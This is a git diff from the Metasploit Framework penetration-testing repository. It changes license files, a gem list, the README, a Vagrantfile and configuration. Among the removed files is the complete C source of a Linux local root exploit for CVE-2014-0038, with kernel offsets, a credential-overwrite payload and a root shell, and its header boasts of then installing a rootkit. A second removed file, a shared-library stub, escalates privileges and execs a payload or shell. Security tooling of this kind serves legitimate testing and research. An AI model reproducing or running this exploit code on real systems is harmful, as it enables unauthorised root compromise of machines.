5. Products derived from this software may not be called "Impacket",
nor may "Impacket" appear in their name, without prior written
permission of CORE Security Technologies.
.
THIS SOFTWARE IS PROVIDED ``AS IS'' AND ANY EXPRESSED OR IMPLIED
WARRANTIES, INCLUDING, BUT NOT LIMITED TO, THE IMPLIED WARRANTIES
OF MERCHANTABILITY AND FITNESS FOR A PARTICULAR PURPOSE ARE
DISCLAIMED. IN NO EVENT SHALL THE APACHE SOFTWARE FOUNDATION OR
ITS CONTRIBUTORS BE LIABLE FOR ANY DIRECT, INDIRECT, INCIDENTAL,
SPECIAL, EXEMPLARY, OR CONSEQUENTIAL DAMAGES (INCLUDING, BUT NOT
LIMITED TO, PROCUREMENT OF SUBSTITUTE GOODS OR SERVICES; LOSS OF
USE, DATA, OR PROFITS; OR BUSINESS INTERRUPTION) HOWEVER CAUSED AND
ON ANY THEORY OF LIABILITY, WHETHER IN CONTRACT, STRICT LIABILITY,
OR TORT (INCLUDING NEGLIGENCE OR OTHERWISE) ARISING IN ANY WAY OUT
OF THE USE OF THIS SOFTWARE, EVEN IF ADVISED OF THE POSSIBILITY OF
SUCH DAMAGE.
License: Apache
Version 2.0, January 2004
http://www.apache.org/licenses/
-170
View File
@@ -1,170 +0,0 @@
This file is auto-generated by tools/dev/update_gem_licenses.sh
Ascii85, 1.0.3, MIT
actionpack, 5.2.4.4, MIT
actionview, 5.2.4.4, MIT
activemodel, 5.2.4.4, MIT
activerecord, 5.2.4.4, MIT
activesupport, 5.2.4.4, MIT
addressable, 2.7.0, "Apache 2.0"
afm, 0.2.2, MIT
arel, 9.0.0, MIT
arel-helpers, 2.11.0, MIT
ast, 2.4.1, MIT
aws-eventstream, 1.1.0, "Apache 2.0"
aws-partitions, 1.374.0, "Apache 2.0"
aws-sdk-core, 3.107.0, "Apache 2.0"
aws-sdk-ec2, 1.195.0, "Apache 2.0"
aws-sdk-iam, 1.45.0, "Apache 2.0"
aws-sdk-kms, 1.38.0, "Apache 2.0"
aws-sdk-s3, 1.81.0, "Apache 2.0"
aws-sigv4, 1.2.2, "Apache 2.0"
bcrypt, 3.1.16, MIT
bcrypt_pbkdf, 1.0.1, MIT
bindata, 2.4.8, ruby
bit-struct, 0.16, ruby
bson, 4.10.0, "Apache 2.0"
builder, 3.2.4, MIT
bundler, 1.17.3, MIT
byebug, 11.1.3, "Simplified BSD"
coderay, 1.1.3, MIT
concurrent-ruby, 1.0.5, MIT
cookiejar, 0.3.3, unknown
crass, 1.0.6, MIT
daemons, 1.3.1, MIT
diff-lcs, 1.4.4, "MIT, Artistic-2.0, GPL-2.0+"
dnsruby, 1.61.4, "Apache 2.0"
docile, 1.3.2, MIT
ed25519, 1.2.4, MIT
em-http-request, 1.1.7, MIT
em-socksify, 0.3.2, MIT
erubi, 1.9.0, MIT
eventmachine, 1.2.7, "ruby, GPL-2.0"
factory_bot, 6.1.0, MIT
factory_bot_rails, 6.1.0, MIT
faker, 2.14.0, MIT
faraday, 1.0.1, MIT
faye-websocket, 0.11.0, "Apache 2.0"
filesize, 0.2.0, MIT
fivemat, 1.3.7, MIT
hashery, 2.1.2, "Simplified BSD"
hrr_rb_ssh, 0.3.0.pre2, "Apache 2.0"
http_parser.rb, 0.6.0, MIT
i18n, 1.8.5, MIT
io-console, 0.5.6, "Simplified BSD"
irb, 1.2.7, "ruby, Simplified BSD"
jmespath, 1.4.0, "Apache 2.0"
jsobfu, 0.4.2, "New BSD"
json, 2.3.1, ruby
loofah, 2.7.0, MIT
memory_profiler, 0.9.14, MIT
metasm, 1.0.4, LGPL-2.1
metasploit-concern, 3.0.0, "New BSD"
metasploit-credential, 4.0.2, "New BSD"
metasploit-framework, 6.0.9, "New BSD"
metasploit-model, 3.0.0, "New BSD"
metasploit-payloads, 2.0.12, "3-clause (or ""modified"") BSD"
metasploit_data_models, 4.0.2, "New BSD"
metasploit_payloads-mettle, 1.0.2, "3-clause (or ""modified"") BSD"
method_source, 1.0.0, MIT
mini_portile2, 2.4.0, MIT
minitest, 5.14.2, MIT
mqtt, 0.5.0, MIT
msgpack, 1.3.3, "Apache 2.0"
multipart-post, 2.1.1, MIT
mustermann, 1.1.1, MIT
nessus_rest, 0.1.6, MIT
net-ldap, 0.16.3, MIT
net-ssh, 6.1.0, MIT
network_interface, 0.0.2, MIT
nexpose, 7.2.1, "New BSD"
nokogiri, 1.10.10, MIT
octokit, 4.18.0, MIT
openssl-ccm, 1.2.2, MIT
openssl-cmac, 2.0.1, MIT
openvas-omp, 0.0.4, MIT
packetfu, 1.1.13, BSD
parallel, 1.19.2, MIT
parser, 2.7.1.5, MIT
patch_finder, 1.0.2, "New BSD"
pcaprub, 0.13.0, LGPL-2.1
pdf-reader, 2.4.1, MIT
pg, 1.2.3, "Simplified BSD"
pry, 0.13.1, MIT
pry-byebug, 3.9.0, MIT
public_suffix, 4.0.6, MIT
rack, 2.2.3, MIT
rack-protection, 2.1.0, MIT
rack-test, 1.1.0, MIT
rails-dom-testing, 2.0.3, MIT
rails-html-sanitizer, 1.3.0, MIT
railties, 5.2.4.4, MIT
rainbow, 3.0.0, MIT
rake, 13.0.1, MIT
rb-readline, 0.5.5, BSD
recog, 2.3.14, unknown
redcarpet, 3.5.0, MIT
regexp_parser, 1.8.0, MIT
reline, 0.1.5, ruby
rex-arch, 0.1.13, "New BSD"
rex-bin_tools, 0.1.6, "New BSD"
rex-core, 0.1.13, "New BSD"
rex-encoder, 0.1.4, "New BSD"
rex-exploitation, 0.1.24, "New BSD"
rex-java, 0.1.5, "New BSD"
rex-mime, 0.1.5, "New BSD"
rex-nop, 0.1.1, "New BSD"
rex-ole, 0.1.6, "New BSD"
rex-powershell, 0.1.87, "New BSD"
rex-random_identifier, 0.1.4, "New BSD"
rex-registry, 0.1.3, "New BSD"
rex-rop_builder, 0.1.3, "New BSD"
rex-socket, 0.1.24, "New BSD"
rex-sslscan, 0.1.5, "New BSD"
rex-struct2, 0.1.2, "New BSD"
rex-text, 0.2.28, "New BSD"
rex-zip, 0.1.3, "New BSD"
rexml, 3.2.4, "Simplified BSD"
rkelly-remix, 0.0.7, MIT
rspec, 3.9.0, MIT
rspec-core, 3.9.2, MIT
rspec-expectations, 3.9.2, MIT
rspec-mocks, 3.9.1, MIT
rspec-rails, 4.0.1, MIT
rspec-rerun, 1.1.0, MIT
rspec-support, 3.9.3, MIT
rubocop, 0.91.1, MIT
rubocop-ast, 0.4.2, MIT
ruby-macho, 2.2.0, MIT
ruby-prof, 1.4.1, "Simplified BSD"
ruby-progressbar, 1.10.1, MIT
ruby-rc4, 0.1.5, MIT
ruby2_keywords, 0.0.2, ruby
ruby_smb, 2.0.6, "New BSD"
rubyntlm, 0.6.2, MIT
rubyzip, 2.3.0, "Simplified BSD"
sawyer, 0.8.2, MIT
simplecov, 0.18.2, MIT
simplecov-html, 0.12.3, MIT
simpleidn, 0.1.1, MIT
sinatra, 2.1.0, MIT
sqlite3, 1.3.13, "New BSD"
sshkey, 2.0.0, MIT
swagger-blocks, 3.0.0, MIT
thin, 1.7.2, "GPLv2+, Ruby 1.8"
thor, 1.0.1, MIT
thread_safe, 0.3.6, "Apache 2.0"
tilt, 2.0.10, MIT
timecop, 0.9.1, MIT
ttfunk, 1.6.2.1, "Nonstandard, GPL-2.0, GPL-3.0"
tzinfo, 1.2.7, MIT
tzinfo-data, 1.2020.1, MIT
unf, 0.1.4, "2-clause BSDL"
unf_ext, 0.0.7.7, MIT
unicode-display_width, 1.7.0, MIT
warden, 1.2.9, MIT
websocket-driver, 0.7.3, "Apache 2.0"
websocket-extensions, 0.1.5, "Apache 2.0"
windows_error, 0.1.2, BSD
xdr, 3.0.1, "Apache 2.0"
xmlrpc, 0.3.0, ruby
yard, 0.9.25, MIT
+8 -7
View File
@@ -1,7 +1,7 @@
Metasploit [![Build Status](https://travis-ci.org/rapid7/metasploit-framework.svg?branch=master)](https://travis-ci.org/rapid7/metasploit-framework) [![Maintainability](https://api.codeclimate.com/v1/badges/943e398e619c09568f3f/maintainability)](https://codeclimate.com/github/rapid7/metasploit-framework/maintainability) [![Test Coverage](https://api.codeclimate.com/v1/badges/943e398e619c09568f3f/test_coverage)](https://codeclimate.com/github/rapid7/metasploit-framework/test_coverage) [![Docker Pulls](https://img.shields.io/docker/pulls/metasploitframework/metasploit-framework.svg)](https://hub.docker.com/r/metasploitframework/metasploit-framework/)
Metasploit [![Build Status](https://travis-ci.org/rapid7/metasploit-framework.svg?branch=master)](https://travis-ci.org/rapid7/metasploit-framework) [![Code Climate](https://img.shields.io/codeclimate/github/rapid7/metasploit-framework.svg)](https://codeclimate.com/github/rapid7/metasploit-framework)
==
The Metasploit Framework is released under a BSD-style license. See
[COPYING](COPYING) for more details.
COPYING for more details.
The latest version of this software is available from: https://metasploit.com
@@ -9,19 +9,20 @@ Bug tracking and development information can be found at:
https://github.com/rapid7/metasploit-framework
New bugs and feature requests should be directed to:
https://r-7.co/MSF-BUGv1
http://r-7.co/MSF-BUGv1
API documentation for writing modules can be found at:
https://rapid7.github.io/metasploit-framework/api
Questions and suggestions can be sent to: Freenode IRC channel or e-mail the metasploit-hackers mailing list
Questions and suggestions can be sent to:
https://lists.sourceforge.net/lists/listinfo/metasploit-hackers
Installing
--
Generally, you should use [the free installer](https://github.com/rapid7/metasploit-framework/wiki/Nightly-Installers),
Generally, you should use [the free installer](https://www.metasploit.com/download),
which contains all of the dependencies and will get you up and running with a
few clicks. See the [Dev Environment Setup](https://r-7.co/MSF-DEV) if
few clicks. See the [Dev Environment Setup](http://r-7.co/MSF-DEV) if
you'd like to deal with dependencies on your own.
Using Metasploit
@@ -44,6 +45,6 @@ pull request. For slightly more information, see
[wiki-devenv]: https://github.com/rapid7/metasploit-framework/wiki/Setting-Up-a-Metasploit-Development-Environment "Metasploit Development Environment Setup"
[wiki-start]: https://github.com/rapid7/metasploit-framework/wiki/ "Metasploit Wiki"
[wiki-usage]: https://github.com/rapid7/metasploit-framework/wiki/Using-Metasploit "Using Metasploit"
[unleashed]: https://www.offensive-security.com/metasploit-unleashed/ "Metasploit Unleashed"
[unleashed]: http://www.offensive-security.com/metasploit-unleashed/ "Metasploit Unleashed"
+27
View File
@@ -0,0 +1,27 @@
**This should never appear in Metasploit Framework's master branch!**
The components under the unstable-* directories are unstable, in that
they are untested, unverified, or otherwise incomplete. Many may be
useful, but all require some level of work to get into the Metasploit
master branch.
In order to load the modules specifically, use:
$ ./msfconsole -m unstable-modules/
Unstable scripts and plugins may be referenced by full pathname
normally.
In order to help move these out of unstable and into the master
branch, please fork the Metasploit framework project and send pull
requests with your fixes back to the unstable branch. If you're
reading this, you already probably have a GitHub account and are
already familiar with the mechanics of forking and branching.
Specifically, you probably know everything discussed on:
https://github.com/rapid7/metasploit-framework/wiki
Thanks for taking a look at these unstable modules!
- Tod Beardsley, todb[at]metasploit[dot]com
-14
View File
@@ -9,20 +9,6 @@ require 'metasploit/framework/spec/untested_payloads'
# the user installs with `bundle install --without db`
Metasploit::Framework::Require.optionally_active_record_railtie
begin
require 'rspec/core'
require 'rspec-rerun/tasks'
rescue LoadError
puts "rspec not in bundle, so can't set up spec tasks. " \
"To run specs ensure to install the development and test groups."
puts "Bundle currently installed '--without #{Bundler.settings.without.join(' ')}'."
puts "To clear the without option do `bundle install --without ''` (the --without flag with an empty string) or " \
"`rm -rf .bundle` to remove the .bundle/config manually and then `bundle install`"
else
require 'rspec/core/rake_task'
RSpec::Core::RakeTask.new(spec: 'db:test:prepare')
end
Metasploit::Framework::Application.load_tasks
Metasploit::Framework::Spec::Constants.define_task
Metasploit::Framework::Spec::Threads::Suite.define_task
Vendored
+8 -4
View File
@@ -3,7 +3,10 @@
Vagrant.configure(2) do |config|
config.ssh.forward_x11 = true
config.vm.box = "ubuntu/bionic64"
config.vm.box = "ubuntu/trusty64"
# TODO: find a minimal image that keeps up-to-date and
# supports multiple providers
#config.vm.box = "phusion/ubuntu-14.04-amd64"
config.vm.network :forwarded_port, guest: 4444, host: 4444
config.vm.provider "vmware" do |v|
v.memory = 2048
@@ -23,14 +26,15 @@ Vagrant.configure(2) do |config|
[ #"echo 127.0.1.1 `cat /etc/hostname` >> /etc/hosts", work around a bug in official Ubuntu Xenial cloud images
"apt-get update",
"apt-get dist-upgrade -y",
"apt-get -y install curl build-essential git tig vim john nmap libpq-dev libpcap-dev gnupg2 fortune postgresql postgresql-contrib",
"apt-get -y install curl build-essential git tig vim john nmap libpq-dev libpcap-dev gnupg fortune postgresql postgresql-contrib",
].each do |step|
config.vm.provision "shell", inline: step
end
[ "gpg --keyserver hkp://keys.gnupg.net --recv-keys 409B6B1796C275462A1703113804BB82D39DC0E3 7D2BAF1CF37B13E2069D6956105BD0E739499BDB",
[ "gpg --keyserver hkp://keys.gnupg.net --recv-keys 409B6B1796C275462A1703113804BB82D39DC0E3",
"curl -L https://get.rvm.io | bash -s stable",
"source ~/.rvm/scripts/rvm && cd /vagrant && rvm install `cat .ruby-version`",
"source ~/.rvm/scripts/rvm && cd /vagrant && rvm --install .ruby-version",
"source ~/.rvm/scripts/rvm && cd /vagrant && gem install bundler",
"source ~/.rvm/scripts/rvm && cd /vagrant && bundle",
"mkdir -p ~/.msf4",
].each do |step|
-3
View File
@@ -1,3 +0,0 @@
class ApplicationRecord < ActiveRecord::Base
self.abstract_class = true
end
@@ -6,7 +6,7 @@ module Metasploit
class FilePathValidator < ActiveModel::EachValidator
def validate_each(record, attribute, value)
unless value && ::File.file?(value)
unless ::File.file? value
record.errors[attribute] << (options[:message] || "is not a valid path to a regular file")
end
end
+3 -6
View File
@@ -24,12 +24,9 @@ end
begin
require 'bundler/setup'
rescue LoadError => e
$stderr.puts "[*] Bundler failed to load and returned this error:"
$stderr.puts
$stderr.puts " '#{e}'"
$stderr.puts
$stderr.puts "[*] You may need to uninstall or upgrade bundler"
rescue LoadError
$stderr.puts "[*] Metasploit requires the Bundler gem to be installed"
$stderr.puts " $ gem install bundler"
exit(1)
end
+1 -1
View File
@@ -14,7 +14,7 @@ development: &pgsql
adapter: postgresql
database: metasploit_framework_development
username: postgres
pool: 25
pool: 5
timeout: 5
# Warning: The database defined as "test" will be erased and
Binary file not shown.
Binary file not shown.
Binary file not shown.
Binary file not shown.
Binary file not shown.
Binary file not shown.
Binary file not shown.
Binary file not shown.
+11
View File
@@ -0,0 +1,11 @@
#!/bin/sh
gcc -o cpuinfo.ia32.bin cpuinfo.c -static -m32 -Wall && \
strip cpuinfo.ia32.bin && \
gcc -o cpuinfo.ia64.bin cpuinfo.c -static -m64 -Wall && \
strip cpuinfo.ia64.bin && \
i586-mingw32msvc-gcc -m32 -static -Wall -o cpuinfo.exe cpuinfo.c && \
strip cpuinfo.exe
ls -la cpuinfo.ia32.bin cpuinfo.ia64.bin cpuinfo.exe
+64
View File
@@ -0,0 +1,64 @@
// This is a slightly modified copy of the METASM pe-ia32-cpuid.rb example
/*
#!/usr/bin/env ruby
# This file is part of Metasm, the Ruby assembly manipulation suite
# Copyright (C) 2006-2009 Yoann GUILLOT
#
# Licence is LGPL, see LICENCE in the top-level directory
#
# this sample shows the compilation of a slightly more complex program
# it displays in a messagebox the result of CPUID
#
*/
#include <unistd.h>
#include <stdio.h>
static char *featureinfo[32] = {
"fpu", "vme", "de", "pse", "tsc", "msr", "pae", "mce", "cx8",
"apic", "unk10", "sep", "mtrr", "pge", "mca", "cmov", "pat",
"pse36", "psn", "clfsh", "unk20", "ds", "acpi", "mmx",
"fxsr", "sse", "sse2", "ss", "htt", "tm", "unk30", "pbe"
}, *extendinfo[32] = {
"sse3", "unk1", "unk2", "monitor", "ds-cpl", "unk5-vt", "unk6", "est",
"tm2", "unk9", "cnxt-id", "unk12", "cmpxchg16b", "unk14", "unk15",
"unk16", "unk17", "unk18", "unk19", "unk20", "unk21", "unk22", "unk23",
"unk24", "unk25", "unk26", "unk27", "unk28", "unk29", "unk30", "unk31"
};
#define cpuid(id) __asm__( "cpuid" : "=a"(eax), "=b"(ebx), "=c"(ecx), "=d"(edx) : "a"(id), "b"(0), "c"(0), "d"(0))
#define b(val, base, end) ((val << (31-end)) >> (31-end+base))
int main(void)
{
unsigned long eax, ebx, ecx, edx;
unsigned long i;
cpuid(0);
fprintf(stdout, "VENDOR: %.4s%.4s%.4s\n", (char *)&ebx, (char *)&edx, (char *)&ecx);
cpuid(1);
fprintf(stdout, "MODEL: family=%ld model=%ld stepping=%ld efamily=%ld emodel=%ld ",
b(eax, 8, 11), b(eax, 4, 7), b(eax, 0, 3), b(eax, 20, 27), b(eax, 16, 19));
fprintf(stdout, "brand=%ld cflush sz=%ld*8 nproc=%ld apicid=%ld\n",
b(ebx, 0, 7), b(ebx, 8, 15), b(ebx, 16, 23), b(ebx, 24, 31));
fprintf(stdout, "FLAGS:");
for (i=0 ; i<32 ; i++)
if (edx & (1 << i))
fprintf(stdout, " %s", featureinfo[i]);
for (i=0 ; i<32 ; i++)
if (ecx & (1 << i))
fprintf(stdout, " %s", extendinfo[i]);
fprintf(stdout, "\n");
fflush(stdout);
return 0;
}
BIN
View File
Binary file not shown.
BIN
View File
Binary file not shown.
BIN
View File
Binary file not shown.
Binary file not shown.
Binary file not shown.
Binary file not shown.
Binary file not shown.
Binary file not shown.
-226
View File
@@ -1,226 +0,0 @@
/*
*=*=*=*=*=*=*=*=*=*=*=*=*=*=*=*=*=*=*=*=*=*=*=*=*=*=*=*=*=*=*
recvmmsg.c - linux 3.4+ local root (CONFIG_X86_X32=y)
CVE-2014-0038 / x32 ABI with recvmmsg
by rebel @ irc.smashthestack.org
-----------------------------------
takes about 13 minutes to run because timeout->tv_sec is decremented
once per second and 0xff*3 is 765.
some things you could do while waiting:
* watch http://www.youtube.com/watch?v=OPyZGCKu2wg 3 times
* read https://wiki.ubuntu.com/Security/Features and smirk a few times
* brew some coffee
* stare at the countdown giggly with anticipation
could probably whack the high bits of some pointer with nanoseconds,
but that would require a bunch of nulls before the pointer and then
reading an oops from dmesg which isn't that elegant.
&net_sysctl_root.permissions is nice because it has 16 trailing nullbytes
hardcoded offsets because I only saw this on ubuntu & kallsyms is protected
anyway..
same principle will work on 32bit but I didn't really find any major
distros shipping with CONFIG_X86_X32=y
user@ubuntu:~$ uname -a
Linux ubuntu 3.11.0-15-generic #23-Ubuntu SMP Mon Dec 9 18:17:04 UTC 2013 x86_64 x86_64 x86_64 GNU/Linux
user@ubuntu:~$ gcc recvmmsg.c -o recvmmsg
user@ubuntu:~$ ./recvmmsg
byte 3 / 3.. ~0 secs left.
w00p w00p!
# id
uid=0(root) gid=0(root) groups=0(root)
# sh phalanx-2.6b-x86_64.sh
unpacking..
:)=
greets to my homeboys kaliman, beist, capsl & all of #social
Sat Feb 1 22:15:19 CET 2014
% rebel %
*=*=*=*=*=*=*=*=*=*=*=*=*=*=*=*=*=*=*=*=*=*=*=*=*=*=*=*=*=*=*
*/
#define _GNU_SOURCE
#include <netinet/ip.h>
#include <stdio.h>
#include <stdlib.h>
#include <string.h>
#include <sys/socket.h>
#include <unistd.h>
#include <sys/syscall.h>
#include <sys/mman.h>
#include <sys/types.h>
#include <sys/stat.h>
#include <fcntl.h>
#include <sys/utsname.h>
#define __X32_SYSCALL_BIT 0x40000000
#undef __NR_recvmmsg
#define __NR_recvmmsg (__X32_SYSCALL_BIT + 537)
#define VLEN 1
#define BUFSIZE 200
int port;
struct offset {
char *kernel_version;
unsigned long dest; // net_sysctl_root + 96
unsigned long original_value; // net_ctl_permissions
unsigned long prepare_kernel_cred;
unsigned long commit_creds;
};
struct offset offsets[] = {
{"3.11.0-15-generic",0xffffffff81cdf400+96,0xffffffff816d4ff0,0xffffffff8108afb0,0xffffffff8108ace0}, // Ubuntu 13.10
{"3.11.0-12-generic",0xffffffff81cdf3a0,0xffffffff816d32a0,0xffffffff8108b010,0xffffffff8108ad40}, // Ubuntu 13.10
{"3.8.0-19-generic",0xffffffff81cc7940,0xffffffff816a7f40,0xffffffff810847c0, 0xffffffff81084500}, // Ubuntu 13.04
{NULL,0,0,0,0}
};
void udp(int b) {
int sockfd;
struct sockaddr_in servaddr,cliaddr;
int s = 0xff+1;
if(fork() == 0) {
while(s > 0) {
fprintf(stderr,"\rbyte %d / 3.. ~%d secs left \b\b\b\b",b+1,3*0xff - b*0xff - (0xff+1-s));
sleep(1);
s--;
fprintf(stderr,".");
}
sockfd = socket(AF_INET,SOCK_DGRAM,0);
bzero(&servaddr,sizeof(servaddr));
servaddr.sin_family = AF_INET;
servaddr.sin_addr.s_addr=htonl(INADDR_LOOPBACK);
servaddr.sin_port=htons(port);
sendto(sockfd,"1",1,0,(struct sockaddr *)&servaddr,sizeof(servaddr));
exit(0);
}
}
void trigger() {
open("/proc/sys/net/core/somaxconn",O_RDONLY);
if(getuid() != 0) {
fprintf(stderr,"not root, ya blew it!\n");
exit(-1);
}
fprintf(stderr,"w00p w00p!\n");
system("/bin/sh -i");
}
typedef int __attribute__((regparm(3))) (* _commit_creds)(unsigned long cred);
typedef unsigned long __attribute__((regparm(3))) (* _prepare_kernel_cred)(unsigned long cred);
_commit_creds commit_creds;
_prepare_kernel_cred prepare_kernel_cred;
// thx bliss
static int __attribute__((regparm(3)))
getroot(void *head, void * table)
{
commit_creds(prepare_kernel_cred(0));
return -1;
}
void __attribute__((regparm(3)))
trampoline()
{
asm("mov $getroot, %rax; call *%rax;");
}
int main(void)
{
int sockfd, retval, i;
struct sockaddr_in sa;
struct mmsghdr msgs[VLEN];
struct iovec iovecs[VLEN];
char buf[BUFSIZE];
long mmapped;
struct utsname u;
struct offset *off = NULL;
uname(&u);
for(i=0;offsets[i].kernel_version != NULL;i++) {
if(!strcmp(offsets[i].kernel_version,u.release)) {
off = &offsets[i];
break;
}
}
if(!off) {
fprintf(stderr,"no offsets for this kernel version..\n");
exit(-1);
}
mmapped = (off->original_value & ~(sysconf(_SC_PAGE_SIZE) - 1));
mmapped &= 0x000000ffffffffff;
srand(time(NULL));
port = (rand() % 30000)+1500;
commit_creds = (_commit_creds)off->commit_creds;
prepare_kernel_cred = (_prepare_kernel_cred)off->prepare_kernel_cred;
mmapped = (long)mmap((void *)mmapped, sysconf(_SC_PAGE_SIZE)*3, PROT_READ|PROT_WRITE|PROT_EXEC, MAP_PRIVATE|MAP_ANONYMOUS|MAP_FIXED, 0, 0);
if(mmapped == -1) {
perror("mmap()");
exit(-1);
}
memset((char *)mmapped,0x90,sysconf(_SC_PAGE_SIZE)*3);
memcpy((char *)mmapped + sysconf(_SC_PAGE_SIZE), (char *)&trampoline, 300);
if(mprotect((void *)mmapped, sysconf(_SC_PAGE_SIZE)*3, PROT_READ|PROT_EXEC) != 0) {
perror("mprotect()");
exit(-1);
}
sockfd = socket(AF_INET, SOCK_DGRAM, 0);
if (sockfd == -1) {
perror("socket()");
exit(-1);
}
sa.sin_family = AF_INET;
sa.sin_addr.s_addr = htonl(INADDR_LOOPBACK);
sa.sin_port = htons(port);
if (bind(sockfd, (struct sockaddr *) &sa, sizeof(sa)) == -1) {
perror("bind()");
exit(-1);
}
memset(msgs, 0, sizeof(msgs));
iovecs[0].iov_base = &buf;
iovecs[0].iov_len = BUFSIZE;
msgs[0].msg_hdr.msg_iov = &iovecs[0];
msgs[0].msg_hdr.msg_iovlen = 1;
for(i=0;i < 3 ;i++) {
udp(i);
retval = syscall(__NR_recvmmsg, sockfd, msgs, VLEN, 0, (void *)off->dest+7-i);
if(!retval) {
fprintf(stderr,"\nrecvmmsg() failed\n");
}
}
close(sockfd);
fprintf(stderr,"\n");
trigger();
}
-3643
View File
@@ -1,3643 +0,0 @@
#define _GNU_SOURCE
#include <unistd.h>
#include <stdlib.h>
#include <sys/types.h>
#include <stdio.h>
#include <dlfcn.h>
void __cxa_finalize (void *d) {
return;
}
void __attribute__((constructor)) init() {
setresuid(geteuid(), geteuid(), geteuid());
execl("#{payload_path}", (char *)NULL, (char *)NULL);
execl("/bin/sh", (char *)NULL, (char *)NULL);
}
int applicationShellClassRec = 0;
int applicationShellWidgetClass = 0;
int colorConvertArgs = 0;
int compositeWidgetClass = 0;
int constraintClassRec = 0;
int constraintWidgetClass = 0;
int coreWidgetClass = 0;
int dump_external = 0;
int dump_fontlist = 0;
int dump_fontlist_cache = 0;
int dump_internal = 0;
int FcPatternAddInteger = 0;
int FcPatternAddString = 0;
int FcPatternCreate = 0;
int FcPatternDestroy = 0;
int GetWidgetNavigPtrs = 0;
int InitializeScrollBars = 0;
int _ITM_deregisterTMCloneTable = 0;
int _ITM_registerTMCloneTable = 0;
int jpeg_calc_output_dimensions = 0;
int jpeg_CreateDecompress = 0;
int jpeg_destroy_decompress = 0;
int jpeg_finish_decompress = 0;
int jpeg_read_header = 0;
int jpeg_read_scanlines = 0;
int jpeg_start_decompress = 0;
int jpeg_std_error = 0;
int jpeg_stdio_src = 0;
int load_jpeg = 0;
int localeconv = 0;
int __longjmp_chk = 0;
int nl_langinfo = 0;
int NumLockMask = 0;
int objectClass = 0;
int objectClassRec = 0;
int overrideShellClassRec = 0;
int png_create_info_struct = 0;
int png_create_read_struct = 0;
int png_destroy_read_struct = 0;
int png_get_channels = 0;
int png_get_gAMA = 0;
int png_get_IHDR = 0;
int png_get_rowbytes = 0;
int png_get_valid = 0;
int png_init_io = 0;
int png_read_end = 0;
int png_read_image = 0;
int png_read_info = 0;
int png_read_update_info = 0;
int png_set_expand = 0;
int png_set_gamma = 0;
int png_set_gray_to_rgb = 0;
int png_set_longjmp_fn = 0;
int png_set_sig_bytes = 0;
int png_set_strip_16 = 0;
int png_sig_cmp = 0;
int rectObjClass = 0;
int rectObjClassRec = 0;
int ScrollLockMask = 0;
int SetMwmStuff = 0;
int T = 0;
int topLevelShellWidgetClass = 0;
int transientShellClassRec = 0;
int transientShellWidgetClass = 0;
int V = 0;
int vendorShellClassRec = 0;
int vendorShellWidgetClass = 0;
int W = 0;
int __wctomb_chk = 0;
int widgetClass = 0;
int widgetClassRec = 0;
int wmShellClassRec = 0;
int wmShellWidgetClass = 0;
int XAddExtension = 0;
int XAllocColor = 0;
int XAllocColorCells = 0;
int XAllowEvents = 0;
int XBell = 0;
int XChangeActivePointerGrab = 0;
int XChangeGC = 0;
int XChangeProperty = 0;
int XChangeWindowAttributes = 0;
int XCheckIfEvent = 0;
int XCheckMaskEvent = 0;
int XClearArea = 0;
int XClearWindow = 0;
int XCloseDisplay = 0;
int XCloseIM = 0;
int XConfigureWindow = 0;
int XConvertSelection = 0;
int XCopyArea = 0;
int XCopyPlane = 0;
int XCreateBitmapFromData = 0;
int XCreateFontCursor = 0;
int XCreateGC = 0;
int XCreateIC = 0;
int XCreateImage = 0;
int XCreatePixmap = 0;
int XCreatePixmapCursor = 0;
int XCreatePixmapFromBitmapData = 0;
int XCreateRegion = 0;
int XCreateWindow = 0;
int XDefaultColormap = 0;
int XDefaultDepth = 0;
int XDefaultScreen = 0;
int XDefaultVisual = 0;
int XDefineCursor = 0;
int XDeleteContext = 0;
int XDeleteProperty = 0;
int XDestroyIC = 0;
int XDestroyRegion = 0;
int XDestroyWindow = 0;
int XDisplayKeycodes = 0;
int XDisplayOfScreen = 0;
int XDisplayString = 0;
int XDrawArc = 0;
int XDrawImageString = 0;
int XDrawImageString16 = 0;
int XDrawLine = 0;
int XDrawLines = 0;
int XDrawPoint = 0;
int XDrawRectangle = 0;
int XDrawSegments = 0;
int XDrawString = 0;
int XDrawString16 = 0;
int _XEditResGet16 = 0;
int _XEditResGet32 = 0;
int _XEditResGet8 = 0;
int _XEditResGetSigned16 = 0;
int _XEditResGetString8 = 0;
int _XEditResGetWidgetInfo = 0;
int _XEditResPut16 = 0;
int _XEditResPut32 = 0;
int _XEditResPut8 = 0;
int _XEditResPutString8 = 0;
int _XEditResPutWidgetInfo = 0;
int _XEditResResetStream = 0;
int XEmptyRegion = 0;
int XEqualRegion = 0;
int XESetCloseDisplay = 0;
int XExtentsOfFontSet = 0;
int XFetchBuffer = 0;
int XFillArc = 0;
int XFillPolygon = 0;
int XFillRectangle = 0;
int XFillRectangles = 0;
int XFindContext = 0;
int XFlush = 0;
int XFontsOfFontSet = 0;
int XFree = 0;
int XFreeColors = 0;
int XFreeCursor = 0;
int XFreeFont = 0;
int XFreeFontNames = 0;
int XFreeGC = 0;
int XFreeModifiermap = 0;
int XFreePixmap = 0;
int XFreeStringList = 0;
int XftDrawCreate = 0;
int XftDrawCreateBitmap = 0;
int XftDrawDestroy = 0;
int XftDrawRect = 0;
int XftDrawSetClip = 0;
int XftDrawSetClipRectangles = 0;
int XftDrawString16 = 0;
int XftDrawString32 = 0;
int XftDrawStringUtf8 = 0;
int XftFontClose = 0;
int XftFontMatch = 0;
int XftFontOpenPattern = 0;
int XftTextExtents16 = 0;
int XftTextExtents32 = 0;
int XftTextExtents8 = 0;
int XftTextExtentsUtf8 = 0;
int XGetAtomName = 0;
int XGetFontProperty = 0;
int XGetGCValues = 0;
int XGetGeometry = 0;
int XGetICValues = 0;
int XGetImage = 0;
int XGetIMValues = 0;
int XGetInputFocus = 0;
int XGetKeyboardMapping = 0;
int XGetModifierMapping = 0;
int XGetOCValues = 0;
int XGetOMValues = 0;
int XGetSelectionOwner = 0;
int XGetWindowAttributes = 0;
int XGetWindowProperty = 0;
int XGetWMColormapWindows = 0;
int XGrabKeyboard = 0;
int XGrabPointer = 0;
int XGrabServer = 0;
int XHeightOfScreen = 0;
int xiColumnConstraintExtension = 0;
int XiCreateStippledPixmap = 0;
int _XiGetTabIndex = 0;
int XIMOfIC = 0;
int XInstallColormap = 0;
int XInternAtom = 0;
int XInternAtoms = 0;
int XIntersectRegion = 0;
int XiReleaseStippledPixmap = 0;
int _XiResolveAllPartOffsets = 0;
int XiResolveAllPartOffsets = 0;
int XKeysymToKeycode = 0;
int XKeysymToString = 0;
